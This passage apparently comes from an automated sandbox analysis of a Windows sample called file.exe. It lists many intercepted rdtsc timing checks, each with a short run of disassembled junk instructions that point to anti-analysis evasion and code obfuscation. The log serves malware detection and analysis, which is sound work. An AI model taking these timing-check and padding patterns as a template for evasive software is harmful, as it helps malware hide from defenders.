Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BC0D second address: C6BC17 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F51EC518D06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BD91 second address: C6BD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BD97 second address: C6BD9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BD9B second address: C6BDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F51EC503016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BDAD second address: C6BDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BF05 second address: C6BF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BF09 second address: C6BF0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BF0D second address: C6BF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6BF13 second address: C6BF19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6C1F3 second address: C6C1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C6C1F7 second address: C6C23E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F51EC518D11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F51EC518D10h 0x00000010 popad 0x00000011 jl 00007F51EC518D2Fh 0x00000017 jl 00007F51EC518D1Dh 0x0000001d jmp 00007F51EC518D11h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C70C78 second address: C70C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C70C7D second address: C70CA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D14h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F51EC518D14h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C70DFF second address: C70E0B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F51EC503016h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C70E0B second address: C70E19 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F51EC518D06h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C70E19 second address: C70E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C70E1F second address: C70E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C71102 second address: C71106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C71937 second address: C7193D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7193D second address: C71948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C71948 second address: C7194C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7194C second address: C719A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F51EC503016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F51EC50301Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F51EC503023h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F51EC503024h 0x0000001f jmp 00007F51EC503024h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C719A5 second address: C719C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D17h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1E46C second address: C1E472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75678 second address: C7567C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C36D3E second address: C36D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C36F0B second address: C36F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F51EC518D06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C370D9 second address: C370EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F51EC50301Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3727A second address: C37296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F51EC518D17h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C377CE second address: C37806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F51EC503025h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37806 second address: C3780A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3780A second address: C37810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37810 second address: C37816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37816 second address: C3781A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3781A second address: C3781E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37BB2 second address: C37BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37BB6 second address: C37BC0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F51EC518D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37BC0 second address: C37BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503029h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37BDD second address: C37C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edx, eax 0x0000000b lea eax, dword ptr [ebp+12475636h] 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F51EC518D08h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b movsx edx, cx 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jns 00007F51EC518D06h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37C19 second address: C37C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37C1D second address: C37C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C37C23 second address: C37C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75932 second address: C75938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75938 second address: C75946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F51EC503016h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75C48 second address: C75C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75C4C second address: C75C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503024h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75C64 second address: C75C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F51EC518D0Ah 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75D9F second address: C75DA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C75DA5 second address: C75DD5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F51EC518D16h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F51EC518D0Ch 0x00000012 jnl 00007F51EC518D06h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C760D8 second address: C760DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C763C9 second address: C763D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C763D1 second address: C763E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F51EC503016h 0x0000000c jng 00007F51EC503016h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C763E5 second address: C763EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C763EA second address: C763FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC50301Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C763FC second address: C76400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7A6A7 second address: C7A6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7A6AD second address: C7A6C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F51EC518D0Dh 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7A6C3 second address: C7A6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnp 00007F51EC503016h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7A6D4 second address: C7A6E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a jg 00007F51EC518D0Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7DD0A second address: C7DD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F51EC503024h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7DD25 second address: C7DD4A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F51EC518D14h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C83368 second address: C8337C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F51EC503016h 0x0000000a je 00007F51EC503016h 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C8337C second address: C83392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jne 00007F51EC518D06h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C82C51 second address: C82C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C82C57 second address: C82C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C84A34 second address: C84A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F51EC503028h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C872B8 second address: C872C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C872C3 second address: C872D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C872D9 second address: C872DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C872DD second address: C872F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F51EC50301Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C872F5 second address: C872F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C8759D second address: C875A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C8770C second address: C87716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F51EC518D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C89A63 second address: C89A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C89A69 second address: C89A73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C89BD8 second address: C89C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51EC50301Fh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F51EC50301Fh 0x00000011 jmp 00007F51EC503024h 0x00000016 popad 0x00000017 push esi 0x00000018 jmp 00007F51EC503026h 0x0000001d jmp 00007F51EC50301Ah 0x00000022 pop esi 0x00000023 je 00007F51EC50301Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C8D2AB second address: C8D2CF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F51EC518D08h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F51EC518D13h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C8D2CF second address: C8D2D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BFD28D second address: BFD291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C91B08 second address: C91B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C91C6C second address: C91C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C91DCF second address: C91DD9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F51EC50301Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C91F19 second address: C91F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C91F1D second address: C91F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51EC503029h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C91F3C second address: C91F6A instructions: 0x00000000 rdtsc 0x00000002 je 00007F51EC518D0Ch 0x00000008 js 00007F51EC518D24h 0x0000000e jmp 00007F51EC518D18h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C92085 second address: C9208B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9208B second address: C92094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C92094 second address: C9209D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9209D second address: C920BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D12h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F51EC518D12h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C924D2 second address: C924EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F51EC50301Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C924EC second address: C924F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C924F4 second address: C9250B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F51EC503016h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9250B second address: C92515 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C92515 second address: C92519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C92E78 second address: C92E80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C92E80 second address: C92E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C92E86 second address: C92E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C964E8 second address: C964F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C967F0 second address: C967F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C967F4 second address: C9680E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503020h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9680E second address: C96812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C96812 second address: C9681E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F51EC503016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C96966 second address: C96994 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F51EC518D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F51EC518D0Fh 0x00000011 jmp 00007F51EC518D13h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C96994 second address: C9699C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
